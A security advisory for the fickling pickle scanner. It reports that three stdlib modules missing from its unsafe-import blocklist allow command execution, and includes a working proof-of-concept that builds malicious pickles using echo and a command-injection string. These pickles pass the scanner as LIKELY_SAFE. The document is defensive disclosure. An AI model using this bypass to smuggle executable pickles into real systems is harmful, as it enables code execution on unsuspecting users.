Assessment
The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (trailofbits/fickling@ffac347).
Original report
Summary
fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.
Affected Versions
- fickling <= 0.1.8 (all versions)
Details
Missing Modules
fickling's UNSAFE_IMPORTS (86 modules) does not include:
| Module |
RCE Function |
Internal Mechanism |
Importable On |
uuid |
_get_command_stdout(cmd, *args) |
subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) |
All platforms |
_osx_support |
_read_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
_osx_support |
_find_build_tool(toolname) |
Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) |
All platforms |
_aix_support |
_read_cmd_output(cmdstring) |
os.system(cmd) via temp file |
All platforms |
Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.
Why These Pass fickling
NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
UnusedVariables: Defeated by BUILD opcode (purposely unhardend)
Proof of Concept (using fickling's opcode API)
from fickling.fickle import (
Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle
frame_data = b"\x95" + struct.pack("<Q", 60)
# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("uuid"),
ShortBinUnicode("_get_command_stdout"),
StackGlobal(),
ShortBinUnicode("echo"),
ShortBinUnicode("PROOF_OF_CONCEPT"),
TupleTwo(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_aix_support"),
ShortBinUnicode("_read_cmd_output"),
StackGlobal(),
ShortBinUnicode("echo PROOF_OF_CONCEPT"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_osx_support"),
ShortBinUnicode("_find_build_tool"),
StackGlobal(),
ShortBinUnicode("x; echo INJECTED #"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
result = check_safety(p)
print(f"{name}: severity={result.severity}, issues={len(result.results)}")
# Output: severity=Severity.LIKELY_SAFE, issues=0
# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT
Verified Output
$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT
Impact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.
Suggested Fix
Add to UNSAFE_IMPORTS in fickling:
"uuid",
"_osx_support",
"_aix_support",
Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
- Python source:
Lib/uuid.py lines 156-168 (_get_command_stdout)
- Python source:
Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
- Python source:
Lib/_aix_support.py lines 14-30 (_read_cmd_output)
- fickling source:
analysis.py UNSAFE_IMPORTS set
References
Assessment
The modules
uuid,_osx_supportand_aix_supportwere added to the blocklist of unsafe imports (trailofbits/fickling@ffac347).Original report
Summary
fickling's
UNSAFE_IMPORTSblocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution:uuid,_osx_support, and_aix_support. These modules contain functions that internally callsubprocess.Popen()oros.system()with attacker-controlled arguments. A malicious pickle file importing these modules passes bothUnsafeImportsandNonStandardImportschecks.Affected Versions
Details
Missing Modules
fickling's
UNSAFE_IMPORTS(86 modules) does not include:uuid_get_command_stdout(cmd, *args)subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)_osx_support_read_output(cmdstring)os.system(cmd)via temp file_osx_support_find_build_tool(toolname)%sin_read_output("/usr/bin/xcrun -find %s" % toolname)_aix_support_read_cmd_output(cmdstring)os.system(cmd)via temp fileCritical note: Despite the names
_osx_supportand_aix_supportsuggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.Why These Pass fickling
NonStandardImports: These are stdlib modules, sois_std_module()returns True → not flaggedUnsafeImports: Module names not inUNSAFE_IMPORTS→ not flaggedOvertlyBadEvals: Function names added tolikely_safe_imports(stdlib) → skippedUnusedVariables: Defeated by BUILD opcode (purposely unhardend)Proof of Concept (using fickling's opcode API)
Verified Output
Impact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as
LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.Suggested Fix
Add to
UNSAFE_IMPORTSin fickling:Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
Lib/uuid.pylines 156-168 (_get_command_stdout)Lib/_osx_support.pylines 35-52 (_read_output), lines 54-68 (_find_build_tool)Lib/_aix_support.pylines 14-30 (_read_cmd_output)analysis.pyUNSAFE_IMPORTSsetReferences